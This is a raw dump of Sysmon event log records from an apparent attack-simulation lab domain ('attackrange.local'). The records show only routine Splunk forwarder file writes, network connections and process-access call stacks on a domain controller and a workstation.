Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000052825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.694{7BD73061-7341-613B-760B-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000052824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.397{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59628-false10.0.1.12-8000- 23542300x800000000000000052823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:21.363{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AE848311CEE7B37C03B5F06EC6AD8052,SHA256=13DD71E27F635A245117B1351EF00CB12CE9168415276449CE3617555DE07685,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016872Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:22.600{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E624434B0E97C8D6D4B2D22744B36E97,SHA256=D954BBF92E179C63FFB9B45D1ED13C9E25C03517D1D0E04A63EA603279490D02,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:22.734{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=377F40CAC8A9BFCD16759A176741BE9D,SHA256=69D0A3FF19257D73D3BD4C42A09CADC3C2B7253FD1C036D22C87B940B4B6001F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:22.497{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2418554F9ACF866D2CA576F3407E02E0,SHA256=9CEDF6A580A92CD39E391D6EFF095901B12FDADD33840CDF692AACCD96B8DE63,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016871Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:20.390{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50322-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016873Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:23.647{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6147A7A14B68EFC45AE09E183E13B919,SHA256=0EC7AB359C314787C131B269EB93DE2310D617C08453BA77A2E7CF693F440911,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:23.548{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F932BE8821BF4305716FD09F540D8FDD,SHA256=6531FA8F2F8413FAF30A17ED2A78C9B5A9E8CD34BA52E0B3CB8DC5EDD23BF8C9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016874Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:24.663{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B08DD03735474FACAE273300460CA0EE,SHA256=8F86EC96FAF446A2FD13F5E72B2A2A6630FEC54A968CAB274388A9D8875E241B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:24.564{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=31DF2E10916A3430317E0BD7B3B85173,SHA256=E375B15840552A57D534B262F42D5013A8D32406AF263C0894524DD788DE8782,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016875Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:25.663{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8043FF75396B028AEFC67A58050C59CF,SHA256=EA60188FDDC83E6CC3409CAE7BC9E139B375A73A2D8A9E5C2D26D1DD247AF494,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:25.564{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=17059929D6424904B33D02748E104BEA,SHA256=AA0FBC72450384DA5D2A57C24EF87D364F62BD4DFABFF6520ED76E28A4BB7215,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016876Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:26.694{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BEA8B3D1116D3A5027858F4A457979E4,SHA256=53DC4696E6C87CE74DFCC131F673B34BB2DAA380060F580C36A73229637F936C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:24.396{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59629-false10.0.1.12-8000- 23542300x800000000000000052881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:26.580{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7F0F9310918B99D4782189F3ACA0BAFF,SHA256=FDBF30001365E77C499BD20368E15A13423DDAE9B7292DEBA2C49FD9B0C3A545,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:27.595{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A5D91D5D3F1C9C09AC540E7F2793F3AF,SHA256=6676ED43A0A3EA4C7ECD47ECFCCAD54C50795D89CC02B9E7AB883C127C3BDD17,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016878Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:27.709{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=647E4C29214CB9BAE8812EDE08698056,SHA256=8440D3595983FA6E368B60060A293A166E57173DDA2F8328043C39A8A039F6D5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016877Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:25.453{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50323-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000052884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:28.679{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=424BECE5BC9E5F98D518242161301E15,SHA256=864CF25F15BC07A690C09ABE629A2CB0DD44F51CF34A4D8394A687AC459DC4EF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016879Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:28.709{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A099BFA73B5DA583EFF6F016507C62E3,SHA256=12D0CE8DAB9477F549CAA869AC2D0488DB67EFF60E65F18401529F58A343A3A9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016880Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:29.709{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CA47A25926377726132B556368FFD8C9,SHA256=F7984EC67A582CCEE0AC924EBDD47CA5FD378E2CBC4BE6272A34792F26736BE9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:29.894{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:29.694{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E1A071F78E7674AC47935E41968ADFE0,SHA256=9E5BBB91D7F18BE78FDDE6AF7259114A4A6BA21590AF68A6ED5F351A3A137058,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016881Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:30.741{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6AA405F3553AB01177F96C6AEF1069AB,SHA256=6BB224A51670A1AD30E71A8E44FCE2AD2A8F9281A98EA0DCF19B1BCD69736969,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:30.747{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7D84D79FA761B9E5B3D881AF099F5A2F,SHA256=6EAAF7DCFBEA9040BE528FD5E7282EF0EA3EA6136AE33E96A7E91CBBD68E3C36,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:31.848{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=103BD18FF0B59B5A3C834DD6E3BA52A3,SHA256=2ED07F5700F3F74646DE8A06D9D7AD9847C8CA5E69F189F1867D3A4514573617,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016895Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:31.747{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CFAE21F5BB78B02312CDBCCE7E132164,SHA256=ED6D4975A1AB65964E5311D319A65D33C48B49EA0330273A72FE53BCC43A3210,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016894Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:31.575{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-734B-613B-0C05-00000000F101}1016C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016893Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:31.575{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016892Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:31.575{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016891Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:31.575{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016890Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:31.575{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016889Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:31.575{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016888Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:31.575{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016887Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:31.575{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016886Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:31.575{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016885Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:31.575{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016884Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:31.575{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-734B-613B-0C05-00000000F101}1016C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016883Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:31.575{625C326B-6879-613B-A400-00000000F101}20043924C:\Program 